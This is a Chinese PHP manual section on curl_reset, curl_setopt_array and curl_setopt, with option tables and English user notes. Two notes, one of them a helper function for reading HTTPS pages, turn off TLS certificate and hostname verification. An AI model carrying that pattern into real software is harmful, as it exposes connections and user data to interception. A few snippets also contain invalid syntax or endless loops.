User Contributed Notes

Alex Autrey 26-Jul-2013 12:01
http://curl.haxx.se/libcurl/c/curl_easy_pause.html

Using this function, you can explicitly mark a running connection to get paused, and you can unpause a connection that was previously paused.

A connection can be paused by using this function or by letting the read or the write callbacks return the proper magic return code (CURL_READFUNC_PAUSE and CURL_WRITEFUNC_PAUSE). A write callback that returns pause signals to the library that it couldn't take care of any data at all, and that data will then be delivered again to the callback when the writing is later unpaused.

NOTE: while it may feel tempting, take care and notice that you cannot call this function from another thread.

When this function is called to unpause reading, the chance is high that you will get your write callback called before this function returns.

The handle argument is of course identifying the handle that operates on the connection you want to pause or unpause.

The bitmask argument is a set of bits that sets the new state of the connection. The following bits can be used:


重置一个 libcurl 会话句柄的所有的选项

  • ? curl_pause
  • curl_setopt_array ?
  • PHP Manual
  • cURL 函数
  • 重置一个 libcurl 会话句柄的所有的选项

curl_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_reset — 重置一个 libcurl 会话句柄的所有的选项

说明

curl_reset(CurlHandle $handle): void

该函数将给定的 cURL 句柄所有选项重新设置为默认值。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_reset() 示例

<?php
// 创建 url 句柄
$ch = curl_init();

// 设置 CURLOPT_USERAGENT 选项
curl_setopt($ch, CURLOPT_USERAGENT, "My test user-agent");

// 重置所有的预先设置的选项
curl_reset($ch);

// 发送 HTTP 请求
curl_setopt($ch, CURLOPT_URL, 'http://example.com/');
curl_exec($ch); // 预先设置的 user-agent 不会被发送，它已经被 curl_reset 重置掉了

// 关闭句柄
curl_close($ch);
?>

注释

Note:

curl_reset() 还重置作为 curl_init() 参数指定的 URL。

参见

  • curl_setopt() - 设置 cURL 传输选项

User Contributed Notes

dev at codesatori dot com 25-Nov-2016 11:44
If you're reusing a cUrl handle and want to ensure there's no residue from previous options -- but are frustrated with resetting the basics (e.g. FTP details) needed for each cURL call -- then here's an easy pattern to fix that:

<?php
class cUrlicue {

    protected $curl;

    /* Create the cURL handle */

    function __construct() {
        $this->curl = curl_init();
        $this->curl_init_opts();
        curl_exec($this->curl);
    }

    /* Reload your base options */

    function curl_init_opts() {
        $opts[CURLOPT_PROTOCOLS]         = CURLPROTO_FTP;
        $opts[CURLOPT_RETURNTRANSFER]     = true;
        $opts[CURLOPT_USERPWD]             = 'user:pass';
        //...
        curl_setopt_array($this->curl, $opts);
    }

    /* Use when making a new cURL call */

    function curl_exec($opts) {
        curl_reset($this->curl); // clears all old options
        $this->curl_init_opts(); // sets base options again
        curl_setopt_array($this->curl, $opts); // sets your new options
        return curl_exec($this->curl);
    }

    /* Your whatever cURL method */

    function curl_get_whatever() {
        $opts[CURLOPT_URL] = 'ftp://.../whatever';
        //...
        $result = $this->curl_exec($opts);
        // ...
    }
}
?>

Then: each call to $this->curl_exec() from your whatever-method resets the previous options, reloads the base options, adds in your new options, and returns the result. Otherwise, can also put your base options into a class property, instead of in-method, if there's nothing dynamic being defined. Enjoy. =^_^=
Waloon 18-Jul-2016 02:52
Hack for php < 5.5 :

function curl_reset(&$ch){
  $ch = curl_init();
}


为 cURL 传输会话批量设置选项

  • ? curl_reset
  • curl_setopt ?
  • PHP Manual
  • cURL 函数
  • 为 cURL 传输会话批量设置选项

curl_setopt_array

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

curl_setopt_array — 为 cURL 传输会话批量设置选项

说明

curl_setopt_array(CurlHandle $handle, array $options): bool

为 cURL 传输会话批量设置选项。这个函数对于需要设置大量的 cURL 选项是非常有用的，不需要重复地调用 curl_setopt()。

参数

handle

由 curl_init() 返回的 cURL 句柄。

options

一个 array 用来确定将被设置的选项及其值。数组的键值必须是有效的 curl_setopt() 常量或者是它们对等的整数值。

返回值

如果全部的选项都被成功设置，返回 true。如果选项不能被成功设置，马上返回 false，忽略其后的任何在 options 数组中的选项。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 初始化新的 cURL 会话并抓取 web 页面

<?php
// 创建新 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
$options = array(CURLOPT_URL => 'http://www.example.com/',
CURLOPT_HEADER => false
);

curl_setopt_array($ch, $options);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源，并且释放系统资源
curl_close($ch);
?>

注释

Note:

就 curl_setopt() 来说，传递数组到 CURLOPT_POST 将会把数据以 multipart/form-data 的方式编码，然而传递 URL-encoded 字符串将会以 application/x-www-form-urlencoded 的方式对数据进行编码。

参见

  • curl_setopt() - 设置 cURL 传输选项

User Contributed Notes

mad_elf at maranelda dot org 17-Jul-2022 11:06
Important note: the option CURLINFO_HEADER_OUT is *ignored* by curl_setopt_array(). You *must* use curl_setopt() to set this option.

(True in PHP v7.3.27 at least)
lawrence at dub3solutions dot com 13-Feb-2019 11:23
This function does not mix with `curl_file_create` (`CURLFile` object) and `CURLOPT_POSTFIELDS`. Took me forever to figure out, but essentially I was getting an "Invalid filename" PHP warning and the files weren't being sent. I was able to correct the issue in a matter like so:

curl_setopt_array($curl, $curlOpts);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postFields);

I removed the `$postFields` value from `$curlOpts` and set it separately using `curl_setopt`.
Al 03-Jul-2017 03:39
You might be tempted to use array_merge with arrays where CURLOPT constants are the keys, but beware.

<?php
array_merge([], [CURLOPT_FOO => "foo"], [CURLOPT_BAR => "bar"]);
?>

Since these constants are numeric, array_merge will happily reindex:

<?php
[0 => "foo", 1 => "bar"];
?>
Alexander 15-Nov-2016 12:14
Once upon a time I've got an error like "Problem with the SSL CA cert (path? access rights?)". Since what I was doing was pretty much an administrative task with no actual security issues involved, I decided to disallow certificate validation and this is where the most interesting stuff began.

First I did it like this and it worked:

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

Next I thought, "But hey, I don't want any hardcoded stuff here. Let's use it in a configurable way!". And so I did something like this:

// in configuration
$CURL_OPTIONS = array(CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0);

...........

// in place of two direct calls from earlier
            curl_setopt_array($ch, $CURL_OPTIONS);

And I was so happy, there was no error anymore... and do you think I was happy for a long time? If so, then you're wrong. It stopped giving an error, while it didn't start to work!

I checked the actual data but they were allright. Then I thought: "Is it the curl_setopt_array() problem? Let's make it a cycle." The way it is mentioned in this help, actually.

            foreach ($CURL_OPTIONS as $name => $value)
            {
                curl_setopt($ch, $name, $value);
            }

And... it did not work the same way as with the curl_setopt_array() call. And the data were still allright...

So, if by chance you can't set CURL options with the curl_setopt_array() call, then now you know what to do and you know it is definitely not you who is to blame.

P.S.
By the way, the configuration used was:
Linux i-ween.com 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u3 x86_64
PHP Version 5.5.17
Lionel 17-Sep-2015 06:58
If you are writing a mini API for your library, and if you are doing merging of options, remember to use the union operator (+) !

So something like this will definitely fail. This is because array_merge effectively resets all the keys in the array into running numbers:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array_merge(array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     )));
?>

Rather, this is the correct way of doing it:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     ) + (array) $options);
?>
loop4u at gmail dot com 11-Jun-2011 07:59
it should be noted that when using CURLOPT_POSTFIELDS in a loop, CURLOPT_POSTFIELDS appends to the sting. You can use unset() if you don't want this sort of behavior.

<?php
//this will append postfields

while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
}

//this will NOT append postfields
while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
    unset($options[CURLOPT_POSTFIELDS]);
}
?>
anthon at piwik dot org 01-Jun-2010 06:52
Starting in PHP 5.2.0, CURLOPT_FOLLOWLOCATION can't be set via curl_setopt_array() (or curl_setopt()) when either safe_mode is enabled or open_basedir is set.  In these cases, the order of CURLOPT_* settings in the array can be important.
maran dot emil at gmail dot com 25-Mar-2009 11:54
In case that you need to read SSL page content from https with curl, this function can help you:

<?php

function get_web_page( $url,$curl_data )
{
    $options = array(
        CURLOPT_RETURNTRANSFER => true,         // return web page
        CURLOPT_HEADER         => false,        // don't return headers
        CURLOPT_FOLLOWLOCATION => true,         // follow redirects
        CURLOPT_ENCODING       => "",           // handle all encodings
        CURLOPT_USERAGENT      => "spider",     // who am i
        CURLOPT_AUTOREFERER    => true,         // set referer on redirect
        CURLOPT_CONNECTTIMEOUT => 120,          // timeout on connect
        CURLOPT_TIMEOUT        => 120,          // timeout on response
        CURLOPT_MAXREDIRS      => 10,           // stop after 10 redirects
        CURLOPT_POST            => 1,            // i am sending post data
           CURLOPT_POSTFIELDS     => $curl_data,    // this are my post vars
        CURLOPT_SSL_VERIFYHOST => 0,            // don't verify ssl
        CURLOPT_SSL_VERIFYPEER => false,        //
        CURLOPT_VERBOSE        => 1                //
    );

    $ch      = curl_init($url);
    curl_setopt_array($ch,$options);
    $content = curl_exec($ch);
    $err     = curl_errno($ch);
    $errmsg  = curl_error($ch) ;
    $header  = curl_getinfo($ch);
    curl_close($ch);

  //  $header['errno']   = $err;
  //  $header['errmsg']  = $errmsg;
  //  $header['content'] = $content;
    return $header;
}

$curl_data = "var1=60&var2=test";
$url = "https://www.example.com";
$response = get_web_page($url,$curl_data);

print '<pre>';
print_r($response);

?>
fnjordy at gmail dot com 30-Nov-2008 11:48
There is no CURLOPT_MAXFILESIZE in the PHP module but it's function only works with Content-Length headers anyway.  There are two ways of checking download sizes, one is after the download is complete using filesize(), the other is as the download is running allowing you to terminate before wasting time and disk space.

<?php
$GLOBALS['file_size'] = 0;
$GLOBALS['max_file_size'] = 1024 * 1024;
function on_curl_header($ch, $header)
{
    $trimmed = rtrim($header);
    if (preg_match('/^Content-Length: (\d+)$/', $trimmed, $matches))
    {
        $file_size = $matches[1];
        if ($file_size > $GLOBALS['max_file_size']) {
            // handle error here.
        }
    }
    return strlen($header);
}

function on_curl_write($ch, $data)
{
    $bytes = strlen($data);
    $GLOBALS['file_size'] += $bytes;
    if ($GLOBALS['file_size'] > $GLOBALS['max_file_size']) {
        // handle error here.
    }
    return $bytes;
}

$ch = curl_init();
$options = array(CURLOPT_URL        => 'http://www.php.net/',
         CURLOPT_HEADER        => false,
         CURLOPT_HEADERFUNCTION    => 'on_curl_header',
         CURLOPT_WRITEFUNCTION    => 'on_curl_write');
curl_setopt_array($ch, $options);
curl_exec($ch);
// ...
?>
bendavis78 at gmail dot com 13-Jul-2006 03:58
You can use CURLOPT_HEADERFUNCTION  with a callback inside an object.  This makes is it easy to capture the headers for later use.  For example:

<?php
class Test
{
    public $headers;

    //...

    public function exec($opts)
    {
        $this->headers = array();
        $opts[CURLOPT_HEADERFUNCTION] = array($this, '_setHeader');
        $ch = curl_init();
        curl_setopt_array($ch, $opts);
        return curl_exec($ch);
    }

    private function _setHeader($ch, $header)
    {
        $this->headers[] = $header;
        return strlen($header);
    }

}

$test = new Test();
$opts = array(
   //... your curl opts here
);
$data = $test->exec($opts);
print_r($test->headers);
?>

...something like that

(This works in php v. 5.1.4)


设置 cURL 传输选项

  • ? curl_setopt_array
  • curl_share_close ?
  • PHP Manual
  • cURL 函数
  • 设置 cURL 传输选项

curl_setopt

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_setopt — 设置 cURL 传输选项

说明

curl_setopt(CurlHandle $handle, int $option, mixed $value): bool

为 cURL 会话句柄设置选项。

参数

handle

由 curl_init() 返回的 cURL 句柄。

option

需要设置的CURLOPT_XXX选项。

value

将设置在option选项上的值。

以下 option 参数的 value应该被设置成 bool 类型：

选项 | 将 value 设置为 | 备注
CURLOPT_AUTOREFERER | true 时将根据 Location: 重定向时，自动设置 header 中的Referer:信息。
CURLOPT_COOKIESESSION | 设为 true 时将开启新的一次 cookie 会话。它将强制 libcurl 忽略之前会话时存的其他 cookie。 libcurl 在默认状况下无论是否为会话，都会储存、加载所有 cookie。会话 cookie 是指没有过期时间，只存活在会话之中。
CURLOPT_CERTINFO | true 将在安全传输时输出 SSL 证书信息到 STDERR。 | 在 cURL 7.19.1 中添加。 需要开启 CURLOPT_VERBOSE 才有效。
CURLOPT_CONNECT_ONLY | true 将让库执行所有需要的代理、验证、连接过程，但不传输数据。此选项用于 HTTP、SMTP 和 POP3。 | 在 7.15.2 中添加。
CURLOPT_CRLF | 启用时将Unix的换行符转换成回车换行符。
CURLOPT_DNS_USE_GLOBAL_CACHE | true 会启用一个全局的DNS缓存。此选项非线程安全的，默认已开启。
CURLOPT_FAILONERROR | 当 HTTP 状态码大于等于 400，true 将将显示错误详情。 默认情况下将返回页面，忽略 HTTP 代码。
CURLOPT_SSL_FALSESTART | true 开启 TLS False Start （一种 TLS 握手优化方式） | cURL 7.42.0 中添加。自 PHP 7.0.7 起有效。
CURLOPT_FILETIME | true 时，会尝试获取远程文档中的修改时间信息。 信息可通过curl_getinfo()函数的CURLINFO_FILETIME 选项获取。
CURLOPT_FOLLOWLOCATION | true 时将会根据服务器返回 HTTP 头中的 "Location: " 重定向。参阅 CURLOPT_MAXREDIRS。
CURLOPT_FORBID_REUSE | true 在完成交互以后强制明确的断开连接，不能在连接池中重用。
CURLOPT_FRESH_CONNECT | true 强制获取一个新的连接，而不是缓存中的连接。
CURLOPT_FTP_USE_EPRT | true 时，当 FTP 下载时，使用 EPRT (和 LPRT)命令。 设置为 false 时禁用 EPRT 和 LPRT，仅仅使用PORT 命令。
CURLOPT_FTP_USE_EPSV | true 时，在FTP传输过程中，回到 PASV 模式前，先尝试 EPSV 命令。设置为 false 时禁用 EPSV。
CURLOPT_FTP_CREATE_MISSING_DIRS | true 时，当 ftp 操作不存在的目录时将创建它。
CURLOPT_FTPAPPEND | true 为追加写入文件，而不是覆盖。
CURLOPT_TCP_NODELAY | true 时禁用 TCP 的 Nagle 算法，就是减少网络上的小数据包数量。 | 编译的版本在 libcurl 7.11.2 及以上时有效。
CURLOPT_FTPASCII | CURLOPT_TRANSFERTEXT 的别名。
CURLOPT_FTPLISTONLY | true 时只列出 FTP 目录的名字。
CURLOPT_HEADER | 启用时会将头文件的信息作为数据流输出。
CURLINFO_HEADER_OUT | true 时追踪句柄的请求字符串。 | CURLINFO_ 的前缀是指向的（intentional）。
CURLOPT_HTTP09_ALLOWED | 是否允许 HTTP/0.9 响应。从 libcurl 7.66.0 开始默认为 false；以前默认为 true。 | 如果编译的 libcurl 版本 >= 7.64.0，则分别从 PHP 7.3.15 和 7.4.3 开始可用
CURLOPT_HTTPGET | true 时会设置 HTTP 的 method 为 GET，由于默认是 GET，所以只有 method 被修改时才需要这个选项。
CURLOPT_HTTPPROXYTUNNEL | true 会通过指定的 HTTP 代理来传输。
CURLOPT_HTTP_CONTENT_DECODING | false 时获取原始 HTTP 响应主体。 | 如果编译的 libcurl >= 7.16.2 时可用。
CURLOPT_KEEP_SENDING_ON_ERROR | true 时，如果返回的 HTTP 代码等于或大于 300，则继续发送请求主体。默认操作是停止发送并关闭流或连接。适用于手动 NTLM 身份验证。大多数应用程序不需要此选项。 | 如果编译的 libcurl >= 7.51.0，则从 PHP 7.3.0 开始可用。
CURLOPT_MUTE | true 时将完全静默，无论是何 cURL 函数。 | 在 cURL 7.15.5 中移出（可以使用 CURLOPT_RETURNTRANSFER 作为代替）
CURLOPT_NETRC | true 时，在连接建立时，访问~/.netrc文件获取用户名和密码来连接远程站点。
CURLOPT_NOBODY | true 时将不输出 BODY 部分。同时 Mehtod 变成了 HEAD。修改为 false 时不会变成 GET。
CURLOPT_NOPROGRESS

true 时关闭 cURL 的传输进度。

Note:

PHP 默认自动设置此选项为 true，只有为了调试才需要改变设置。

CURLOPT_NOSIGNAL | true 时忽略所有的 cURL 传递给 PHP 进程的信号。在 SAPI 多线程传输时此项被默认启用，所以超时选项仍能使用。 | cURL 7.10时被加入。
CURLOPT_PATH_AS_IS | true 不处理 dot dot sequences （即 ../ ） | cURL 7.42.0 时被加入。 PHP 7.0.7 起有效。
CURLOPT_PIPEWAIT | true 则等待 pipelining/multiplexing。 | cURL 7.43.0 时被加入。 PHP 7.0.7 起有效。
CURLOPT_POST | true 时会发送 POST 请求，类型为：application/x-www-form-urlencoded，是 HTML 表单提交时最常见的一种。
CURLOPT_PUT | true 时允许 HTTP 发送文件。要被 PUT 的文件必须在 CURLOPT_INFILE和CURLOPT_INFILESIZE 中设置。
CURLOPT_RETURNTRANSFER | true 将curl_exec()获取的信息以字符串返回，而不是直接输出。
CURLOPT_SASL_IR | true 开启，收到首包(first packet)后发送初始的响应(initial response)。 | cURL 7.31.10 中添加，自 PHP 7.0.7 起有效。
CURLOPT_SSL_ENABLE_ALPN | false 禁用 SSL 握手中的 ALPN (如果 SSL 后端的 libcurl 内建支持) 用于协商到 http2。 | cURL 7.36.0 中增加， PHP 7.0.7 起有效。
CURLOPT_SSL_ENABLE_NPN | false 禁用 SSL 握手中的 NPN(如果 SSL 后端的 libcurl 内建支持)，用于协商到 http2。 | cURL 7.36.0 中增加， PHP 7.0.7 起有效。
CURLOPT_SSL_VERIFYPEER | false 禁止 cURL 验证对等证书（peer's certificate）。要验证的交换证书可以在 CURLOPT_CAINFO 选项中设置，或在 CURLOPT_CAPATH中设置证书目录。 | 自cURL 7.10开始默认为 true。从 cURL 7.10开始默认绑定安装。
CURLOPT_SSL_VERIFYSTATUS | true 验证证书状态。 | cURL 7.41.0 中添加， PHP 7.0.7 起有效。
CURLOPT_PROXY_SSL_VERIFYPEER | false 会阻止 CURL 验证对等证书（peer's certificate）。可以使用 CURLOPT_CAINFO 选项指定要验证的备用证书，或者可以使用 CURLOPT_CAPATH 选项指定证书目录。设置为 false 时，无论如何验证对等证书都会成功。 | 默认为 true。自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_SAFE_UPLOAD | 始终为 true，在 CURLOPT_POSTFIELDS 中禁用了对上传文件的 @ 前缀的支持，这意味着以 @ 开头的值可以作为字段安全地传递。上传可使用 CURLFile 替代。
CURLOPT_TCP_FASTOPEN | true 开启 TCP Fast Open。 | cURL 7.49.0 中添加， PHP 7.0.7 起有效。
CURLOPT_TFTP_NO_OPTIONS | true 不发送 TFTP 的 options 请求。 | 自 cURL 7.48.0 添加， PHP 7.0.7 起有效。
CURLOPT_TRANSFERTEXT | true 对 FTP 传输使用 ASCII 模式。对于LDAP，它检索纯文本信息而非 HTML。在 Windows 系统上，系统不会把 STDOUT 设置成二进制 模式。
CURLOPT_UNRESTRICTED_AUTH | true 在使用CURLOPT_FOLLOWLOCATION重定向 header 中的多个 location 时继续发送用户名和密码信息，哪怕主机名已改变。
CURLOPT_UPLOAD | true 准备上传。
CURLOPT_VERBOSE | true 会输出所有的信息，写入到STDERR，或在CURLOPT_STDERR中指定的文件。

以下 option 的 value 应该被设置成 int：

选项 | 设置 value 为 | 备注
CURLOPT_BUFFERSIZE | 每次读入的缓冲的尺寸。当然不保证每次都会完全填满这个尺寸。 | 在cURL 7.10中被加入。
CURLOPT_CONNECTTIMEOUT | 在尝试连接时等待的秒数。设置为0，则无限等待。
CURLOPT_CONNECTTIMEOUT_MS | 尝试连接等待的时间，以毫秒为单位。设置为0，则无限等待。 如果 libcurl 编译时使用系统标准的名称解析器（ standard system name resolver），那部分的连接仍旧使用以秒计的超时解决方案，最小超时时间还是一秒钟。 | 在 cURL 7.16.2 中被加入。
CURLOPT_DNS_CACHE_TIMEOUT | 设置在内存中缓存 DNS 的时间，默认为120秒（两分钟）。
CURLOPT_EXPECT_100_TIMEOUT_MS | 超时预计： 100毫秒内的 continue 响应 默认为 1000 毫秒。 | cURL 7.36.0 中添加，自 PHP 7.0.7 有效。
CURLOPT_FTPSSLAUTH | FTP验证方式（启用的时候）：CURLFTPAUTH_SSL (首先尝试SSL)，CURLFTPAUTH_TLS (首先尝试TLS)或CURLFTPAUTH_DEFAULT (让cURL 自个儿决定)。 | 在 cURL 7.12.2 中被加入。
CURLOPT_HEADEROPT | How to deal with headers. One of the following constants: CURLHEADER_UNIFIED: the headers specified in CURLOPT_HTTPHEADER will be used in requests both to servers and proxies. With this option enabled, CURLOPT_PROXYHEADER will not have any effect. CURLHEADER_SEPARATE: makes CURLOPT_HTTPHEADER headers only get sent to a server and not to a proxy. Proxy headers must be set with CURLOPT_PROXYHEADER to get used. Note that if a non-CONNECT request is sent to a proxy, libcurl will send both server headers and proxy headers. When doing CONNECT, libcurl will send CURLOPT_PROXYHEADER headers only to the proxy and then CURLOPT_HTTPHEADER headers only to the server. Defaults to CURLHEADER_SEPARATE as of cURL 7.42.1, and CURLHEADER_UNIFIED before. | Added in cURL 7.37.0. Available since PHP 7.0.7.
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (默认值，让 cURL 自己判断使用哪个版本)，CURL_HTTP_VERSION_1_0 (强制使用 HTTP/1.0)或CURL_HTTP_VERSION_1_1 (强制使用 HTTP/1.1)。
CURLOPT_HTTPAUTH

使用的 HTTP 验证方法。选项有： CURLAUTH_BASIC、 CURLAUTH_DIGEST、 CURLAUTH_GSSNEGOTIATE、 CURLAUTH_NTLM、 CURLAUTH_AWS_SIGV4、 CURLAUTH_ANY 和 CURLAUTH_ANYSAFE。

可以使用 | 位域（OR）操作符结合多个值，cURL 会让服务器选择受支持的方法，并选择最好的那个。

CURLAUTH_ANY 设置所有的位。cURL 将自动选择它认为最安全的一个。

CURLAUTH_ANYSAFE 设置了除 CURLAUTH_BASIC 以外所有的位。cURL 将自动选择它认为最安全的一个。

CURLOPT_INFILESIZE | 希望传给远程站点的文件尺寸，字节(byte)为单位。 注意无法用这个选项阻止 libcurl 发送更多的数据，确切发送什么取决于 CURLOPT_READFUNCTION。
CURLOPT_LOW_SPEED_LIMIT | 传输速度，每秒字节（bytes）数，根据CURLOPT_LOW_SPEED_TIME秒数统计是否因太慢而取消传输。
CURLOPT_LOW_SPEED_TIME | 当传输速度小于CURLOPT_LOW_SPEED_LIMIT时(bytes/sec)，PHP会判断是否因太慢而取消传输。
CURLOPT_MAIL_RCPT_ALLLOWFAILS | 允许一些收件人的 RCPT TO 命令失败。 | 在向多个收件人发送数据时，如果至少有一个收件人导致 RCPT TO 命令返回错误，默认情况下 cURL 将中止 SMTP 对话。此选项告诉 cURL 忽略错误并继续使用剩余的有效收件人。如果所有收件人触发 RCPT TO 失败并且设置了此 flag，cURL 将中止 SMTP 对话并返回从最后一个 RCPT TO 命令收到的错误。
CURLOPT_MAXAGE_CONN | 重新使用已存在连接时允许的最大空闲时间。默认最大时间设置为 118 秒。
CURLOPT_MAXFILESIZE_LARGE | The maximum file size in bytes allowed to download. If the file requested is found larger than this value, the transfer will not start and CURLE_FILESIZE_EXCEEDED will be returned. The file size is not always known prior to download, and for such files this option has no effect even if the file transfer ends up being larger than this given limit.
CURLOPT_MAXLIFETIME_CONN | The maximum time in seconds, since the creation of the connection, that is allowed for an existing connection to have for it to be considered for reuse. If a connection is found in the cache that is older than this value, it will instead be closed once any in-progress transfers are complete. Default is 0 seconds, meaning the option is disabled and all connections are eligible for reuse.
CURLOPT_MAXCONNECTS | 允许的最大持久连接数。当达到限制时，将会关闭缓存中最早的连接，以防止增加已打开的连接数。
CURLOPT_MAXREDIRS | 指定最多的 HTTP 重定向次数，这个选项是和 CURLOPT_FOLLOWLOCATION 一起使用的。 默认值 20 是为了防止无限重定向。设置为 -1 允许无限重定向，0 拒绝所有重定向。
CURLOPT_PORT | 用来指定连接端口。
CURLOPT_POSTREDIR | 位掩码， 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时，什么情况下需要再次 HTTP POST 到重定向网址。 | cURL 7.19.1 中添加。
CURLOPT_PROTOCOLS

CURLPROTO_*的位掩码。 启用时，会限制 libcurl 在传输过程中可使用哪些协议。 这将允许你在编译libcurl时支持众多协议，但是限制只用允许的子集。默认 libcurl 将使用所有支持的协议。 参见CURLOPT_REDIR_PROTOCOLS。

可用的协议选项为： CURLPROTO_HTTP、 CURLPROTO_HTTPS、 CURLPROTO_FTP、 CURLPROTO_FTPS、 CURLPROTO_SCP、 CURLPROTO_SFTP、 CURLPROTO_TELNET、 CURLPROTO_LDAP、 CURLPROTO_LDAPS、 CURLPROTO_DICT、 CURLPROTO_FILE、 CURLPROTO_TFTP、 CURLPROTO_MQTT、 CURLPROTO_ALL。

在 cURL 7.19.4 中被加入。
CURLOPT_PROXYAUTH | HTTP 代理连接的验证方式。使用在CURLOPT_HTTPAUTH中的位掩码。 当前仅仅支持 CURLAUTH_BASIC和CURLAUTH_NTLM。 | 在 cURL 7.10.7 中被加入。
CURLOPT_PROXYPORT | 代理服务器的端口。端口也可以在CURLOPT_PROXY中设置。
CURLOPT_PROXYTYPE | 可以是 CURLPROXY_HTTP (默认值) CURLPROXY_SOCKS4、 CURLPROXY_SOCKS5、 CURLPROXY_SOCKS4A 或 CURLPROXY_SOCKS5_HOSTNAME。 | 在 cURL 7.10 中被加入。
CURLOPT_REDIR_PROTOCOLS | CURLPROTO_* 值的位掩码。如果被启用，位掩码会限制 libcurl 在 CURLOPT_FOLLOWLOCATION开启时，使用的协议。 默认允许除 FILE 和 SCP 外所有协议。 这和 7.19.4 前的版本无条件支持所有支持的协议不同。关于协议常量，请参照CURLOPT_PROTOCOLS。 | 在 cURL 7.19.4 中被加入。
CURLOPT_RESUME_FROM | 在恢复传输时，传递字节为单位的偏移量（用来断点续传）。
CURLOPT_SOCKS5_AUTH

用于 SOCKS5 验证方法。选项是：CURLAUTH_BASIC、CURLAUTH_GSSAPI、CURLAUTH_NONE。

位操作符 |（or）用于组合多个方法。如果这样做，cURL 将轮询服务器以查看它支持哪些方法并选择最佳方法。

CURLAUTH_BASIC 允许用户名/密码验证。

CURLAUTH_GSSAPI 允许 GSS-API 身份验证。

CURLAUTH_NONE 允许不验证。

默认为 CURLAUTH_BASIC|CURLAUTH_GSSAPI。使用 CURLOPT_PROXYUSERPWD 选项设置真实的用户名和密码。

从 7.3.0 和 curl >= 7.55.0 开始可用。
CURLOPT_SSL_OPTIONS | Set SSL behavior options, which is a bitmask of any of the following constants: CURLSSLOPT_ALLOW_BEAST: do not attempt to use any workarounds for a security flaw in the SSL3 and TLS1.0 protocols. CURLSSLOPT_NO_REVOKE: disable certificate revocation checks for those SSL backends where such behavior is present. CURLSSLOPT_AUTO_CLIENT_CERT: automatically locate and use a client certificate for authentication, when requested by the server. This option is only supported for Schannel (the native Windows SSL library). CURLSSLOPT_NATIVE_CA: use the operating system's native CA store for certificate verification. Works only on Windows when built to use OpenSSL. This option is experimental and behavior is subject to change. CURLSSLOPT_NO_PARTIALCHAIN: do not accept "partial" certificate chains, which cURL otherwise does by default. This option is only supported for OpenSSL and will fail the certificate verification if the chain ends with an intermediate certificate and not with a root certificate. CURLSSLOPT_REVOKE_BEST_EFFORT: ignore certificate revocation checks in case of missing or offline distribution points for those SSL backends where such behavior is present. This option is only supported for Schannel (the native Windows SSL library). If combined with CURLSSLOPT_NO_REVOKE, the latter takes precedence. | Added in cURL 7.25.0. Available since PHP 7.0.7.
CURLOPT_SSL_VERIFYHOST | 2 时验证 SSL 对等证书中的公用名称字段或主题备用名称（Subject Alternate Name，简称 SNA）字段是否与提供的主机名匹配。0 时不检查名称。不应使用 1。在生产环境中，此选项的值应保持为 2（默认值）。 | 在 cURL 7.28.1 中移除了对 1 的支持。
CURLOPT_SSLVERSION CURL_SSLVERSION_DEFAULT (0)、CURL_SSLVERSION_TLSv1 (1)、CURL_SSLVERSION_SSLv2 (2)、CURL_SSLVERSION_SSLv3 (3)、CURL_SSLVERSION_TLSv1_0 (4)、CURL_SSLVERSION_TLSv1_1 (5) 、CURL_SSLVERSION_TLSv1_2 (6) 或 CURL_SSLVERSION_TLSv1_3 (7) 中的其中一个。

Note:

最好别设置这个值并让它使用默认值。鉴于 SSLv2 和 SSLv3 中的已知漏洞，将其设置为 2 或 3 非常危险。

CURLOPT_PROXY_SSL_OPTIONS | 设置代理 SSL 行为选项，它是以下任何常量的位掩码： CURLSSLOPT_ALLOW_BEAST：不要尝试对 SSL3 和 TLS1.0 协议中的安全漏洞使用任何替代方法。 CURLSSLOPT_NO_REVOKE：对存在此类行为的 SSL 后端禁用证书吊销检查。（curl >= 7.44.0） CURLSSLOPT_NO_PARTIALCHAIN：不接受"部分"（partial）证书链，不然默认接受。（curl >= 7.68.0） | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
CURLOPT_PROXY_SSL_VERIFYHOST | 设置为 2 以根据代理名称验证 HTTPS 代理的证书名称字段。设置为 0 时，无论证书中使用的名称如何，连接都会成功。谨慎使用该能力！ 在 curl 7.28.0 及更早版本中 1 视为调试选项。从 curl 7.28.1 到 7.65.3 返回 CURLE_BAD_FUNCTION_ARGUMENT。 从 curl 7.66.0 开始，1 和 2 被视为相同的值。在生产环境中，此选项的值应保持为 2（默认值）。 | 自 PHP 7.3.0 和 libcurl >= cURL 7.52.0 起可用。
